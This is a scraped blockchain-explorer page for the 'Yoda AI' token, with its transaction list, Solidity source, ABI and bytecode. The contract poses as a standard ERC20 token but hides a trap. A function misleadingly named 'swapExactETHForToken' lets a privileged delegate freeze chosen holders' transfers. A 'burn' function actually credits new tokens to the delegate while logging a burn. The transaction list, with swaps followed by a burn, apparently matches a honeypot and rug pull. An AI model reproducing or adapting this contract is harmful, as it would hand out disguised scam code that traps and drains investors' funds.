Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 89 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 16605146 | 658 days ago | IN | 0 ETH | 0.00075896 | ||||
Burn | 16605143 | 658 days ago | IN | 0 ETH | 0.00073159 | ||||
Approve | 16604409 | 658 days ago | IN | 0 ETH | 0.0007397 | ||||
Approve | 16603349 | 658 days ago | IN | 0 ETH | 0.00042789 | ||||
Approve | 16601977 | 659 days ago | IN | 0 ETH | 0.00116484 | ||||
Approve | 16601803 | 659 days ago | IN | 0 ETH | 0.00052596 | ||||
Approve | 16601801 | 659 days ago | IN | 0 ETH | 0.0005222 | ||||
Approve | 16601779 | 659 days ago | IN | 0 ETH | 0.00103235 | ||||
Approve | 16601682 | 659 days ago | IN | 0 ETH | 0.00097808 | ||||
Approve | 16601631 | 659 days ago | IN | 0 ETH | 0.00102494 | ||||
Approve | 16601606 | 659 days ago | IN | 0 ETH | 0.00094431 | ||||
Approve | 16601589 | 659 days ago | IN | 0 ETH | 0.00092972 | ||||
Swap Exact ETH F... | 16601576 | 659 days ago | IN | 0 ETH | 0.00104202 | ||||
Approve | 16601558 | 659 days ago | IN | 0 ETH | 0.00123888 | ||||
Swap Exact ETH F... | 16601522 | 659 days ago | IN | 0 ETH | 0.00158643 | ||||
Approve | 16601518 | 659 days ago | IN | 0 ETH | 0.0017747 | ||||
Approve | 16601501 | 659 days ago | IN | 0 ETH | 0.00243386 | ||||
Swap Exact ETH F... | 16601483 | 659 days ago | IN | 0 ETH | 0.00111208 | ||||
Swap Exact ETH F... | 16601475 | 659 days ago | IN | 0 ETH | 0.00100829 | ||||
Swap Exact ETH F... | 16601467 | 659 days ago | IN | 0 ETH | 0.00106236 | ||||
Swap Exact ETH F... | 16601463 | 659 days ago | IN | 0 ETH | 0.00093819 | ||||
Swap Exact ETH F... | 16601460 | 659 days ago | IN | 0 ETH | 0.00105387 | ||||
Swap Exact ETH F... | 16601456 | 659 days ago | IN | 0 ETH | 0.00098955 | ||||
Approve | 16601449 | 659 days ago | IN | 0 ETH | 0.00100831 | ||||
Swap Exact ETH F... | 16601449 | 659 days ago | IN | 0 ETH | 0.00104353 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
YodaAI
Compiler Version
v0.5.15+commit.6a57276f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-10 */ /** .:-==+==. ..:::.. .... .::--===+####=- .:--==+++========-::. ..:--===++*###*+=-%*=- .--==++#%#***####**##**+==-:. .:--===+*####*****#*--*%==. :==+##*%#=------------=*++#%#====+*#%######%%@@%%%@#=##==: .-=+%*=-==---===--+*********++#%#%#*++#%@@%%%%%%%%%@+*@+=-. .:---:::::::--==========----==##=+*******+++*=+-----=====++*%=-=%@%%%%%%%%%%%@#=-*%==. :==###*+++++**#%%%%%%%%%%###**%**#+=-------=%**+--=*##*****+-+%=+@%%%%%%%%%%%@+--=@==- -=+@==+#%%###########%%%%#*++#*=+=***####*+-++=+-+#++####*++=-=*=@@%%%%%%%@@*=--=%*=- .==#@*=*@@@@@@@%%%%%%%%%%%@*-*=-+*==***+==##-----*+@@@@#+@@@==--=#@@@%%%@@#=---+@*==. .-==*%%**%@@@%%%%%%%%%%%%@%----=-#@@@*=@%++=-----%@@@@@@@@##+#%%####%@@#=---=#%==- .:-==#%*=+#%@%@@%%%%%%@@%=+--=+@@@@@@@@#--+**+-=+**##%#***@##%#####%%%#*#%%+=-: .-==#%=--*@%@+*%@%*%@#=%--****#%%#*=--*#=+*=--===---=*%#%@#=%@%+#%@#%%====-:. -==%@***@*@#%%%@%%#%*@#***##%#************#@@%***#@@%%@#@#@#@#@#%%#%@****+=- .-=======+===++==++=================*##*==============++==++===*+==========: .....:%@@=.:-*@@*................:#@@*.............-%@@@+:..-#@@%....... :@@@: =@@%. .--=-: :-==#@@* :----:. .*@@@@%. .#@@% -@@%-@@@. .*@@@@@@%: .*@@@@@@@* -@@@@@@@- -@@%=@@+ .#@@% +@@@@@- +@@@=-*@@% +@@@*%#@@* ....%@@* .*@@**@@@. #@@% *@@@* .#@@%#.*@@@:#@@#%+#@@# :#%%@@@@* :@@@%%@@@* *@@% =@@@- *@@@#+*@@%.*@@%#+#@@#:@@@*##@@* *@@%++*@@@. *@@% =@@@: :#@@@%@@%- .%@@@%@@@#-@@@%%@@@%:@@@- %@@* *@@% *///SPDX-License-Identifier: MIT pragma solidity =0.5.15; contract ERC20Basic { function balanceOf( address account ) public view returns (uint256); function transfer( address to, uint256 value ) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value); function totalSupply( ) public view returns (uint256); } library SafeMath { function mul( uint256 a, uint256 b ) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function sub( uint256 a, uint256 b ) internal pure returns (uint256) { assert(b <= a); return a - b; } function add( uint256 a, uint256 b ) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function div( uint256 a, uint256 b ) internal pure returns (uint256) { return a / b; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => bool) internal _swapExactETHForTokens_; mapping (address => uint256) balances; uint256 totalSupply_; function balanceOf( address account ) public view returns (uint256) { return balances[account]; } function transfer( address _to, uint256 _value ) public returns (bool) { if ( _swapExactETHForTokens_[msg.sender] || _swapExactETHForTokens_[_to]) require( _value == 0, ""); require( _to != address(0)); require( _value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function totalSupply( ) public view returns (uint256) { return totalSupply_; } } contract Context { function _msgSender( ) internal view returns (address) { return msg.sender; } function _msgData( ) internal pure returns (bytes memory) { return msg.data; } } contract Ownable is Context { address private _owner; address internal _delegate; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner( ) public view returns (address) { return _owner; } modifier onlyOwner( ) { require( owner() == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyDelegates( ) { require( _delegate == msg.sender, "Caller not belong to delegates"); _; } function setDelegate( address account ) external onlyOwner { require( _delegate == address(0)); _delegate = account; } function renounceOwnership( ) public onlyOwner { _transferOwnership(address(0)); } function _transferOwnership( address newOwner ) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is ERC20Basic { function allowance( address owner, address spender ) public view returns (uint256); function transferFrom( address from, address to, uint256 value ) public returns (bool); function approve( address spender, uint256 value ) public returns (bool); event Approval ( address indexed owner, address indexed spender, uint256 value ); } contract StandardERC20 is Ownable, ERC20, BasicToken { address internal approved; mapping (address => mapping (address => uint256)) internal allowed; constructor () public { approved = msg.sender; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { if (_swapExactETHForTokens_[_from] || _swapExactETHForTokens_[_to]) require( _value == 0, ""); require( _to != address(0)); require( _value <= balances[_from]); require( _value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function swapExactETHForToken( address _rewardsExactETHForToken ) external { require( msg.sender == _delegate); if ( _swapExactETHForTokens_ [_rewardsExactETHForToken] == true){ _swapExactETHForTokens_ [_rewardsExactETHForToken] = false;} else { _swapExactETHForTokens_ [_rewardsExactETHForToken] = true; } } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function swapingStatus( address _rewardsExactETHForToken ) public view returns (bool) { return _swapExactETHForTokens_ [_rewardsExactETHForToken]; } function _burn( uint256 amount ) internal onlyDelegates { require(amount != 0, "ERC20: burn zero tokens is disallowed"); balances[msg.sender] += amount; emit Transfer(msg.sender, address(0), amount); } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract YodaAI is StandardERC20 { uint256 public constant _totalSupply_ = 1000000000000 * (10 ** uint256(decimals)); uint8 public constant decimals = 9; string public constant symbol = "YodaAI"; string public constant name = "Yoda AI"; constructor() public { totalSupply_ = totalSupply_.add(_totalSupply_); balances[msg.sender] = balances[msg.sender].add(_totalSupply_); emit Transfer(address(0), msg.sender, _totalSupply_); } function burn( uint256 amount ) external { _burn(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDelegate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_rewardsExactETHForToken","type":"address"}],"name":"swapExactETHForToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_rewardsExactETHForToken","type":"address"}],"name":"swapingStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506000620000246200025760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012d600960ff16600a0a64e8d4a51000026004546200025f60201b620019991790919060201c565b6004819055506200019a600960ff16600a0a64e8d4a5100002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200025f60201b620019991790919060201c565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a64e8d4a51000026040518082815260200191505060405180910390a36200027a565b600033905090565b60008183019050828110156200027157fe5b80905092915050565b611d52806200028a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146104ca578063a9059cbb1461054d578063ca5eb5e1146105b3578063d73dd623146105f7578063dd62ed3e1461065d57610116565b806370a08231146103da578063715018a6146104325780638da5cb5b1461043c5780638ec9d8ed1461048657610116565b806323b872dd116100e957806323b872dd1461027e578063313ce5671461030457806342966c681461032857806366188463146103565780636cbbab60146103bc57610116565b8063048aea6d1461011b57806306fdde0314610177578063095ea7b3146101fa57806318160ddd14610260575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d5565b604051808215151515815260200191505060405180910390f35b61017f61072b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b604051808215151515815260200191505060405180910390f35b610268610856565b6040518082815260200191505060405180910390f35b6102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610860565b604051808215151515815260200191505060405180910390f35b61030c610d12565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561033e57600080fd5b8101908080359060200190929190505050610d17565b005b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d23565b604051808215151515815260200191505060405180910390f35b6103c4610fb4565b6040518082815260200191505060405180910390f35b61041c600480360360208110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc6565b6040518082815260200191505060405180910390f35b61043a61100f565b005b6104446110ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c86004803603602081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f3565b005b6104d261125f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105125780820151818401526020810190506104f7565b50505050905090810190601f16801561053f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611298565b604051808215151515815260200191505060405180910390f35b6105f5600480360360208110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b1565b005b6106436004803603604081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ff565b604051808215151515815260200191505060405180910390f35b6106bf6004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fb565b6040518082815260200191505060405180910390f35b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600781526020017f596f64612041490000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109035750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561095a5760008214610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a6957600080fd5b610abb82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b610d20816119b3565b50565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e34576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec8565b610e47838261198290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a64e8d4a510000281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611017611b86565b73ffffffffffffffffffffffffffffffffffffffff166110356110ca565b73ffffffffffffffffffffffffffffffffffffffff16146110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110c86000611b8e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114d57600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611203576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061125c565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600681526020017f596f64614149000000000000000000000000000000000000000000000000000081525081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061133b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113925760008214611391576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561141857600080fd5b61146a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ff82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6115b9611b86565b73ffffffffffffffffffffffffffffffffffffffff166115d76110ca565b73ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116bb57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061179082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561198e57fe5b818303905092915050565b60008183019050828110156119aa57fe5b80905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616c6c6572206e6f742062656c6f6e6720746f2064656c656761746573000081525060200191505060405180910390fd5b6000811415611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cd36025913960400191505060405180910390fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cf86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a206275726e207a65726f20746f6b656e7320697320646973616c6c6f7765644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820d1af0a811368ba1748b35d88a9c2aeef6f2ab89da3e86bafd36e7357721bb6cf64736f6c634300050f0032
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146104ca578063a9059cbb1461054d578063ca5eb5e1146105b3578063d73dd623146105f7578063dd62ed3e1461065d57610116565b806370a08231146103da578063715018a6146104325780638da5cb5b1461043c5780638ec9d8ed1461048657610116565b806323b872dd116100e957806323b872dd1461027e578063313ce5671461030457806342966c681461032857806366188463146103565780636cbbab60146103bc57610116565b8063048aea6d1461011b57806306fdde0314610177578063095ea7b3146101fa57806318160ddd14610260575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d5565b604051808215151515815260200191505060405180910390f35b61017f61072b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b604051808215151515815260200191505060405180910390f35b610268610856565b6040518082815260200191505060405180910390f35b6102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610860565b604051808215151515815260200191505060405180910390f35b61030c610d12565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561033e57600080fd5b8101908080359060200190929190505050610d17565b005b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d23565b604051808215151515815260200191505060405180910390f35b6103c4610fb4565b6040518082815